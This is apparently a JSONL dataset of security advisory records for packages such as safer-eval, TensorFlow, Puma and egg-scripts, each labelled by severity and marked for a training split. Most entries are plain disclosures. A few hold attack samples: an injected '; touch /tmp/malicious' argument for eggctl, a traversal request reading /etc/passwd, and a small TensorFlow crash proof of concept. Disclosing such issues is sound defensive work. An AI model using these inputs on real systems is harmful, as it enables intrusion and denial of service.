-{"id": "3df411debe72286a07d0", "text": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\nAll versions of `safer-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context and is not suited to process arbitrary user input. This may allow attackers to execute arbitrary code in the system.\n\n## Recommendation\n\nThe package is not meant to receive user input. Consider using an alternative package until a fix is made available.", "text_raw": "Sandbox Breakout / Arbitrary Code Execution in safer-eval\n\n[Severity: CRITICAL]\n\nAll versions of `safer-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context and is not suited to process arbitrary user input. This may allow attackers to execute arbitrary code in the system.\n\n\n## Recommendation\n\nThe package is not meant to receive user input. Consider using an alternative package until a fix is made available.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-12-11", "split": "train"}
-{"id": "09b420d84bfd09e86a32", "text": "`std::abort` raised from `TensorListReserve`\n\n### Impact\nProviding a negative element to `num_elements` list argument of  `tf.raw_ops.TensorListReserve` causes the runtime to abort the process due to reallocating a `std::vector` to have a negative number of elements:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.TensorListReserve(\n  element_shape = tf.constant([1]),\n  num_elements=tf.constant([-1]),\n  element_dtype = tf.int32)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/list_kernels.cc#L312) calls `std::vector.resize()` with the new size controlled by input given by the user, without checking that this input is valid.\n\n### Patches\nWe have patched the issue in GitHub commit [8a6e874437670045e6c7dc6154c7412b4a2135e2](https://github.com/tensorflow/tensorflow/commit/8a6e874437670045e6c7dc6154c7412b4a2135e2).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "`std::abort` raised from `TensorListReserve`\n\n[Severity: MEDIUM]\n\n### Impact\nProviding a negative element to `num_elements` list argument of  `tf.raw_ops.TensorListReserve` causes the runtime to abort the process due to reallocating a `std::vector` to have a negative number of elements:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.TensorListReserve(\n  element_shape = tf.constant([1]),\n  num_elements=tf.constant([-1]),\n  element_dtype = tf.int32)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/list_kernels.cc#L312) calls `std::vector.resize()` with the new size controlled by input given by the user, without checking that this input is valid.\n\n### Patches\nWe have patched the issue in GitHub commit [8a6e874437670045e6c7dc6154c7412b4a2135e2](https://github.com/tensorflow/tensorflow/commit/8a6e874437670045e6c7dc6154c7412b4a2135e2).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "4419221bca88a4642f93", "text": "Information Disclosure in TYPO3 extension sf_event_mgt\n\nA missing access check in the backend module allows an authenticated backend user to export participant data for events which the user does not have access to, resulting in Information Disclosure.\n\nAnother missing access check in the backend module allows an authenticated backend user to send emails to event participants for events which the user does not have access to, resulting in Broken Access Control.\n\nExternal reference: [https://typo3.org/security/advisory/typo3-ext-sa-2020-017](https://typo3.org/security/advisory/typo3-ext-sa-2020-017)", "text_raw": "Information Disclosure in TYPO3 extension sf_event_mgt\n\n[Severity: MEDIUM]\n\nA missing access check in the backend module allows an authenticated backend user to export participant data for events which the user does not have access to, resulting in Information Disclosure. \n\nAnother missing access check in the backend module allows an authenticated backend user to send emails to event participants for events which the user does not have access to, resulting in Broken Access Control.\n\nExternal reference: [https://typo3.org/security/advisory/typo3-ext-sa-2020-017](https://typo3.org/security/advisory/typo3-ext-sa-2020-017)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "8a5e894315375da3f833", "text": "Null pointer deference in fltk\n\nAn issue was discovered in the fltk crate before 0.15.3 for Rust. There is a NULL pointer dereference during attempted use of a non-raster image for a window icon.", "text_raw": "Null pointer deference in fltk\n\n[Severity: HIGH]\n\nAn issue was discovered in the fltk crate before 0.15.3 for Rust. There is a NULL pointer dereference during attempted use of a non-raster image for a window icon.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0a183af007f356854bda", "text": "Next.js Directory Traversal Vulnerability\n\nNext.js before 2.4.1 has directory traversal under the `/_next` and `/static` request namespace, allowing attackers to obtain sensitive information.", "text_raw": "Next.js Directory Traversal Vulnerability\n\n[Severity: HIGH]\n\nNext.js before 2.4.1 has directory traversal under the `/_next` and `/static` request namespace, allowing attackers to obtain sensitive information.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-12-05", "split": "train"}
-{"id": "1a4b17cb36470fbd88da", "text": "Unsafe Merging of CORS Configuration Conflict in hapi\n\nVersions of `hapi` prior to 11.1.4 are affected by a vulnerability that causes route-level CORS configuration to override connection-level or server-level CORS defaults. This may result in a situation where CORS permissions are less restrictive than intended.\n\n## Recommendation\n\nUpdate hapi to version 11.1.4 or later.", "text_raw": "Unsafe Merging of CORS Configuration Conflict in hapi\n\n[Severity: MEDIUM]\n\nVersions of `hapi` prior to 11.1.4 are affected by a vulnerability that causes route-level CORS configuration to override connection-level or server-level CORS defaults. This may result in a situation where CORS permissions are less restrictive than intended.\n\n\n\n\n## Recommendation\n\nUpdate hapi to version 11.1.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "83a341bf5b7e3efa2e54", "text": "Files or Directories Accessible to External Parties in org.springframework:spring-core\n\nUnder some situations, the Spring Framework 4.2.0 to 4.2.1, 4.0.0 to 4.1.7, 3.2.0 to 3.2.14 and older unsupported versions is vulnerable to a Reflected File Download (RFD) attack. The attack involves a malicious user crafting a URL with a batch script extension that results in the response being downloaded rather than rendered and also includes some input reflected in the response.", "text_raw": "Files or Directories Accessible to External Parties in org.springframework:spring-core\n\n[Severity: HIGH]\n\nUnder some situations, the Spring Framework 4.2.0 to 4.2.1, 4.0.0 to 4.1.7, 3.2.0 to 3.2.14 and older unsupported versions is vulnerable to a Reflected File Download (RFD) attack. The attack involves a malicious user crafting a URL with a batch script extension that results in the response being downloaded rather than rendered and also includes some input reflected in the response.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "f9e513b721e377bb4c6f", "text": "Authenticated XML External Entity Processing\n\n### Impact\nAuthenticated XML External Entity Processing\n\n### Patches\nWe recommend to update to the current version 6.3.2.1. You can get the update to 6.3.2.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-10-2020", "text_raw": "Authenticated XML External Entity Processing\n\n[Severity: MEDIUM]\n\n### Impact\nAuthenticated XML External Entity Processing\n\n### Patches\nWe recommend to update to the current version 6.3.2.1. You can get the update to 6.3.2.1 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2 the corresponding changes are also available via plugin:\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-10-2020", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-10-19", "split": "train"}
-{"id": "d4824aabb52fff54f8bd", "text": "Malicious Package in asyync\n\nAll versions of `asyync` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in asyync\n\n[Severity: CRITICAL]\n\nAll versions of `asyync` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "7fab6346409fe0ea1a6c", "text": "Inefficient Regular Expression Complexity in handsontable\n\nThe package handsontable from 0 and before 10.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) in `Handsontable.helper.isNumeric` function.", "text_raw": "Inefficient Regular Expression Complexity in handsontable\n\n[Severity: HIGH]\n\nThe package handsontable from 0 and before 10.0.0 are vulnerable to Regular Expression Denial of Service (ReDoS) in `Handsontable.helper.isNumeric` function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-30", "split": "train"}
-{"id": "c1786ca26d49c65eca0f", "text": "HTTP Smuggling via Transfer-Encoding Header in Puma\n\n### Impact\nThis is a similar but different vulnerability to the one patched in 3.12.5 and 4.3.4.\n\nA client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client.\n\nIf the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request's body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.\n\n### Patches\n\nThe problem has been fixed in Puma 3.12.6 and Puma 4.3.5.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma)\n* See our [security policy](https://github.com/puma/puma/security/policy)", "text_raw": "HTTP Smuggling via Transfer-Encoding Header in Puma\n\n[Severity: MEDIUM]\n\n### Impact\nThis is a similar but different vulnerability to the one patched in 3.12.5 and 4.3.4.\n\nA client could smuggle a request through a proxy, causing the proxy to send a response back to another unknown client. \n\nIf the proxy uses persistent connections and the client adds another request in via HTTP pipelining, the proxy may mistake it as the first request's body. Puma, however, would see it as two requests, and when processing the second request, send back a response that the proxy does not expect. If the proxy has reused the persistent connection to Puma to send another request for a different client, the second response from the first client will be sent to the second client.\n\n### Patches\n\nThe problem has been fixed in Puma 3.12.6 and Puma 4.3.5.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n\n* Open an issue in [Puma](https://github.com/puma/puma)\n* See our [security policy](https://github.com/puma/puma/security/policy)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-05-22", "split": "train"}
-{"id": "70d03bd4a7b1806ffa33", "text": "Epic Games Easy Anti-Cheat 4.0 Local Privilege Escalation", "text_raw": "Epic Games Easy Anti-Cheat 4.0 Local Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2021-05-06", "split": "train"}
-{"id": "46892c4690cf74d82962", "text": "EyesOfNetwork Use of Hard-Coded Credentials Vulnerability\n\nAffected: EyesOfNetwork EyesOfNetwork\n\nEyesOfNetwork contains a use of hard-coded credentials vulnerability, as it uses the same API key by default. Exploitation allows an attacker to calculate or guess the admin access token.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-798\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "EyesOfNetwork Use of Hard-Coded Credentials Vulnerability\n\nAffected: EyesOfNetwork EyesOfNetwork\n\nEyesOfNetwork contains a use of hard-coded credentials vulnerability, as it uses the same API key by default. Exploitation allows an attacker to calculate or guess the admin access token.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-798\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "54e95b7727e3b6a07372", "text": "Unbounded connection acceptance in http4s-blaze-server\n\n### Impact\n\nblaze-core, a library underlying http4s-blaze-server, accepts connections unboundedly on its selector pool. This has the net effect of amplifying degradation in services that are unable to handle their current request load, since incoming connections are still accepted and added to an unbounded queue. Each connection allocates a socket handle, which drains a scarce OS resource. This can also confound higher level circuit breakers which work based on detecting failed connections.\n\nhttp4s provides a general `MaxActiveRequests` middleware mechanism for limiting open connections, but it is enforced inside the Blaze accept loop, after the connection is accepted and the socket opened. Thus, the limit only prevents the number of connections which can be simultaneously processed, not the number of connections which can be held open.\n\n### Patches\n\nIn 0.21.18, 0.22.0-M3, and 1.0.0-M16, a new`maxConnections` property, with a default value of 1024, has been added to the `BlazeServerBuilder`.  Setting the value to a negative number restores unbounded behavior, but is strongly disrecommended.\n\nThe NIO2 backend does not respect `maxConnections`.  Its use is now deprecated in http4s-0.21, and the option is removed altogether starting in http4s-0.22.\n\nThe connections are bounded in 0.21.17, 0.22.0-M2, and 1.0.0-M14, but the `maxConnections` parameter was passed incorrectly, making it impossible to change the Blaze default of 512.\n\n### Workarounds\n* An Nginx side-car acting as a reverse proxy for the local http4s-blaze-server instance would be able to apply a connection limiting semantic before the sockets reach blaze-core. Nginx’s connection bounding is both asynchronous and properly respects backpressure.\n* http4s-ember-server is an alternative to http4s-blaze-server, but does not yet have HTTP/2 or web socket support.  Its performance in terms of RPS is appreciably behind Blaze’s, and as the newest backend, has substantially less industrial uptake.\n* http4s-jetty is an alternative to http4s-blaze-server, but does not yet have web socket support.  Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.\n* http4s-tomcat is an alternative to http4s-blaze-server, but does not yet have HTTP/2 web socket support.  Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.\n\n### References\n\nSee [the Blaze GHSA](https://github.com/http4s/blaze/security/advisories/GHSA-xmw9-q7x9-j5qc) for more on the underlying issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [http4s/http4s](http://github.com/http4s/http4s)\n* Contact us according to the [http4s security policy](https://github.com/http4s/http4s/security/policy)", "text_raw": "Unbounded connection acceptance in http4s-blaze-server\n\n[Severity: HIGH]\n\n### Impact\n\nblaze-core, a library underlying http4s-blaze-server, accepts connections unboundedly on its selector pool. This has the net effect of amplifying degradation in services that are unable to handle their current request load, since incoming connections are still accepted and added to an unbounded queue. Each connection allocates a socket handle, which drains a scarce OS resource. This can also confound higher level circuit breakers which work based on detecting failed connections.\n\nhttp4s provides a general `MaxActiveRequests` middleware mechanism for limiting open connections, but it is enforced inside the Blaze accept loop, after the connection is accepted and the socket opened. Thus, the limit only prevents the number of connections which can be simultaneously processed, not the number of connections which can be held open.\n\n### Patches\n\nIn 0.21.18, 0.22.0-M3, and 1.0.0-M16, a new`maxConnections` property, with a default value of 1024, has been added to the `BlazeServerBuilder`.  Setting the value to a negative number restores unbounded behavior, but is strongly disrecommended.  \n\nThe NIO2 backend does not respect `maxConnections`.  Its use is now deprecated in http4s-0.21, and the option is removed altogether starting in http4s-0.22.\n\nThe connections are bounded in 0.21.17, 0.22.0-M2, and 1.0.0-M14, but the `maxConnections` parameter was passed incorrectly, making it impossible to change the Blaze default of 512. \n\n### Workarounds\n* An Nginx side-car acting as a reverse proxy for the local http4s-blaze-server instance would be able to apply a connection limiting semantic before the sockets reach blaze-core. Nginx’s connection bounding is both asynchronous and properly respects backpressure.\n* http4s-ember-server is an alternative to http4s-blaze-server, but does not yet have HTTP/2 or web socket support.  Its performance in terms of RPS is appreciably behind Blaze’s, and as the newest backend, has substantially less industrial uptake.\n* http4s-jetty is an alternative to http4s-blaze-server, but does not yet have web socket support.  Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.\n* http4s-tomcat is an alternative to http4s-blaze-server, but does not yet have HTTP/2 web socket support.  Its performance in terms of requests per second is somewhat behind Blaze’s, and despite Jetty's industrial adoption, the http4s integration has substantially less industrial uptake.\n\n### References\n\nSee [the Blaze GHSA](https://github.com/http4s/blaze/security/advisories/GHSA-xmw9-q7x9-j5qc) for more on the underlying issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [http4s/http4s](http://github.com/http4s/http4s)\n* Contact us according to the [http4s security policy](https://github.com/http4s/http4s/security/policy)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-02", "split": "train"}
-{"id": "098e60a924a8b292ec36", "text": "ASP.NET Core fails to properly validate web requests\n\nA denial of service vulnerability exists when the ASP.NET Core fails to properly validate web requests. NOTE: Microsoft has not commented on third-party claims that the issue is that the TextEncoder.EncodeCore function in the System.Text.Encodings.Web package in ASP.NET Core Mvc before 1.0.4 and 1.1.x before 1.1.3 allows remote attackers to cause a denial of service by leveraging failure to properly calculate the length of 4-byte characters in the Unicode Non-Character range.", "text_raw": "ASP.NET Core fails to properly validate web requests\n\n[Severity: HIGH]\n\nA denial of service vulnerability exists when the ASP.NET Core fails to properly validate web requests. NOTE: Microsoft has not commented on third-party claims that the issue is that the TextEncoder.EncodeCore function in the System.Text.Encodings.Web package in ASP.NET Core Mvc before 1.0.4 and 1.1.x before 1.1.3 allows remote attackers to cause a denial of service by leveraging failure to properly calculate the length of 4-byte characters in the Unicode Non-Character range.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "67509d20ca989a6b0151", "text": "MOBOTIX Video Security Cameras CSRF Add Admin Exploit", "text_raw": "MOBOTIX Video Security Cameras CSRF Add Admin Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2016-03-30", "split": "train"}
-{"id": "99ab212a72c7799950ba", "text": "Authentication Bypass by CSRF Weakness\n\n### Impact\nCSRF vulnerability that allows user account takeover.\n\nAll applications using any version of the frontend component of  `solidus_auth_devise` are affected if `protect_from_forgery` method is both: \n- Executed whether as:\n  - A `before_action` callback (the default)\n  - A `prepend_before_action` (option `prepend: true` given) before the `:load_object` hook in `Spree::UserController` (most likely order to find).\n- Configured to use `:null_session` or `:reset_session` strategies (`:null_session` is the default in case the no strategy is given, but `rails --new` generated skeleton use `:exception`).\n\nThat means that applications that haven't been configured differently from what it's generated with Rails aren't affected.\n\n### Patches\nUsers should promptly update to `solidus_auth_devise` version `2.5.4`.\n\n### Workarounds\nA couple of options:\n\n- If possible, change your strategy to `:exception`:\n  ```ruby\n  class ApplicationController < ActionController::Base\n    protect_from_forgery with: :exception\n  end\n  ```\n\n- Add the following to `config/application.rb` to at least run the `:exception` strategy on the affected controller:\n  ```ruby\n  config.after_initialize do\n    Spree::UsersController.protect_from_forgery with: :exception\n  end\n  ```\n\n- We've also released new Solidus versions monkey patching `solidus_auth_devise` with the quick fix. Those versions are `v3.1.3`, `v.3.0.3` & `v2.11.12`. See [GHSA-5629-8855-gf4g](https://github.com/solidusio/solidus/security/advisories/GHSA-5629-8855-gf4g) for details.\n\n### References\n- [CSRF on the Rails guides](https://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf)\n- [Solidus security](https://solidus.io/security/)\n\n### Thanks\nWe'd like to thank [vampire000](https://hackerone.com/vampire000) for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [solidus_auth_devise](https://github.com/solidusio/solidus_auth_devise/issues) or a discussion in [solidus](https://github.com/solidusio/solidus/discussions)\n* Email us at [security@solidus.io](mailto:security@soliidus.io)\n* Contact the core team on [Slack](http://slack.solidus.io/)", "text_raw": "Authentication Bypass by CSRF Weakness\n\n[Severity: CRITICAL]\n\n### Impact\nCSRF vulnerability that allows user account takeover.\n\nAll applications using any version of the frontend component of  `solidus_auth_devise` are affected if `protect_from_forgery` method is both: \n- Executed whether as:\n  - A `before_action` callback (the default)\n  - A `prepend_before_action` (option `prepend: true` given) before the `:load_object` hook in `Spree::UserController` (most likely order to find).\n- Configured to use `:null_session` or `:reset_session` strategies (`:null_session` is the default in case the no strategy is given, but `rails --new` generated skeleton use `:exception`).\n\nThat means that applications that haven't been configured differently from what it's generated with Rails aren't affected.\n\n### Patches\nUsers should promptly update to `solidus_auth_devise` version `2.5.4`.\n\n### Workarounds\nA couple of options:\n\n- If possible, change your strategy to `:exception`:\n  ```ruby\n  class ApplicationController < ActionController::Base\n    protect_from_forgery with: :exception\n  end\n  ```\n\n- Add the following to `config/application.rb` to at least run the `:exception` strategy on the affected controller:\n  ```ruby\n  config.after_initialize do\n    Spree::UsersController.protect_from_forgery with: :exception\n  end\n  ```\n\n- We've also released new Solidus versions monkey patching `solidus_auth_devise` with the quick fix. Those versions are `v3.1.3`, `v.3.0.3` & `v2.11.12`. See [GHSA-5629-8855-gf4g](https://github.com/solidusio/solidus/security/advisories/GHSA-5629-8855-gf4g) for details.\n\n### References\n- [CSRF on the Rails guides](https://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf)\n- [Solidus security](https://solidus.io/security/)\n\n### Thanks\nWe'd like to thank [vampire000](https://hackerone.com/vampire000) for reporting this issue.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [solidus_auth_devise](https://github.com/solidusio/solidus_auth_devise/issues) or a discussion in [solidus](https://github.com/solidusio/solidus/discussions)\n* Email us at [security@solidus.io](mailto:security@soliidus.io)\n* Contact the core team on [Slack](http://slack.solidus.io/)\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-11-18", "split": "train"}
-{"id": "b443fe82f36dc51d90c2", "text": "Prototype Pollution in node-forge\n\nThe package node-forge before 0.10.0 is vulnerable to Prototype Pollution via the util.setPath function. Note: version 0.10.0 is a breaking change removing the vulnerable functions.", "text_raw": "Prototype Pollution in node-forge\n\n[Severity: HIGH]\n\nThe package node-forge before 0.10.0 is vulnerable to Prototype Pollution via the util.setPath function. Note: version 0.10.0 is a breaking change removing the vulnerable functions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-14", "split": "train"}
-{"id": "44cfb066be2e209782f7", "text": "Command Injection in egg-scripts\n\nVersions of `egg-scripts` before 2.8.1 are vulnerable to command injection. This is only exploitable if a malicious argument is provided on the command line.\n\nExample:\n`eggctl start --daemon --stderr='/tmp/eggctl_stderr.log; touch /tmp/malicious'`\n\n## Recommendation\n\nUpdate to version 2.8.1 or later.", "text_raw": "Command Injection in egg-scripts\n\n[Severity: CRITICAL]\n\nVersions of `egg-scripts` before 2.8.1 are vulnerable to command injection. This is only exploitable if a malicious argument is provided on the command line.\n\n\nExample:\n`eggctl start --daemon --stderr='/tmp/eggctl_stderr.log; touch /tmp/malicious'`\n\n\n## Recommendation\n\nUpdate to version 2.8.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "c56f6f48002b78eb9068", "text": "AContent 1.1 (category_name) Remote Script Insertion Vulnerability", "text_raw": "AContent 1.1 (category_name) Remote Script Insertion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-08-06", "split": "train"}
-{"id": "f7a4a83f2d57069d644a", "text": "Insufficiently Protected Credentials in Pivotal Reactor Netty\n\nPivotal Reactor Netty, versions prior to 0.8.11, passes headers through redirects, including authorization ones. A remote unauthenticated malicious user may gain access to credentials for a different server than they have access to.", "text_raw": "Insufficiently Protected Credentials in Pivotal Reactor Netty\n\n[Severity: HIGH]\n\nPivotal Reactor Netty, versions prior to 0.8.11, passes headers through redirects, including authorization ones. A remote unauthenticated malicious user may gain access to credentials for a different server than they have access to.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-10-23", "split": "train"}
-{"id": "92fa76bc08172f394c8e", "text": "Command injection in ts-process-promises\n\nThis affects all versions of package ts-process-promises. The injection point is located in line 45 in main entry of package in lib/process-promises.js.", "text_raw": "Command injection in ts-process-promises\n\n[Severity: CRITICAL]\n\nThis affects all versions of package ts-process-promises. The injection point is located in line 45 in main entry of package in lib/process-promises.js.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-01-13", "split": "train"}
-{"id": "a16732f3fc5f1712b744", "text": "Path traversal when MessageBus::Diagnostics is enabled\n\n### Impact\n\nUsers who deployed message bus with diagnostics features enabled (default off) were vulnerable to a path traversal bug, which could lead to disclosure of secret information on a machine if an unintended user were to gain access to the diagnostic route. The impact is also greater if there is no proxy for your web application as the number of steps up the directories is not bounded. For deployments which uses a proxy, the impact varies. For example, If a request goes through a proxy like Nginx with `merge_slashes` enabled, the number of steps up the directories that can be read is limited to 3 levels.\n\n### Patches\n\nPatched in 3.3.7.\n\n### Workarounds\n\nDisable MessageBus::Diagnostics in production like environments.", "text_raw": "Path traversal when MessageBus::Diagnostics is enabled\n\n[Severity: MEDIUM]\n\n### Impact\n\nUsers who deployed message bus with diagnostics features enabled (default off) were vulnerable to a path traversal bug, which could lead to disclosure of secret information on a machine if an unintended user were to gain access to the diagnostic route. The impact is also greater if there is no proxy for your web application as the number of steps up the directories is not bounded. For deployments which uses a proxy, the impact varies. For example, If a request goes through a proxy like Nginx with `merge_slashes` enabled, the number of steps up the directories that can be read is limited to 3 levels. \n\n### Patches\n\nPatched in 3.3.7.\n\n### Workarounds\n\nDisable MessageBus::Diagnostics in production like environments. \n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "ed2df7eaa77915191cbb", "text": "Denial of Service in foreman\n\nAll versions of `foreman` are vulnerable to Regular Expression Denial of Service when requests to it are made with a specially crafted path.\n\n## Recommendation\n\nUpgrade to version 3.0.1.", "text_raw": "Denial of Service in foreman\n\n[Severity: HIGH]\n\nAll versions of `foreman` are vulnerable to Regular Expression Denial of Service when requests to it are made with a specially crafted path.\n\n\n## Recommendation\n\nUpgrade to version 3.0.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-05-31", "split": "train"}
-{"id": "5592bdaed85856a2522c", "text": "Resin Application Server 4.0.36 Cross-Site Scripting Vulnerabilities", "text_raw": "Resin Application Server 4.0.36 Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-06-07", "split": "train"}
-{"id": "2d894486dd216b8cd3ef", "text": "ibapi downloads Resources over HTTP\n\nAffected versions of `ibapi` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `ibapi`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "ibapi downloads Resources over HTTP\n\n[Severity: HIGH]\n\nAffected versions of `ibapi` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `ibapi`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "518ae2a5f033a9a7e3b6", "text": "Directory Traversal in tinyserver2\n\nAffected versions of `tinyserver2` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nUpdate to v0.6.0 or later.", "text_raw": "Directory Traversal in tinyserver2\n\n[Severity: HIGH]\n\nAffected versions of `tinyserver2` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nUpdate to v0.6.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "c9c89f6e730387a067e9", "text": "OS Command Injection in curling\n\nnpm package `curling` before version 1.1.0 is vulnerable to Command Injection via the run function. The command argument can be controlled by users without any sanitization.", "text_raw": "OS Command Injection in curling\n\n[Severity: HIGH]\n\nnpm package `curling` before version 1.1.0 is vulnerable to Command Injection via the run function. The command argument can be controlled by users without any sanitization.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
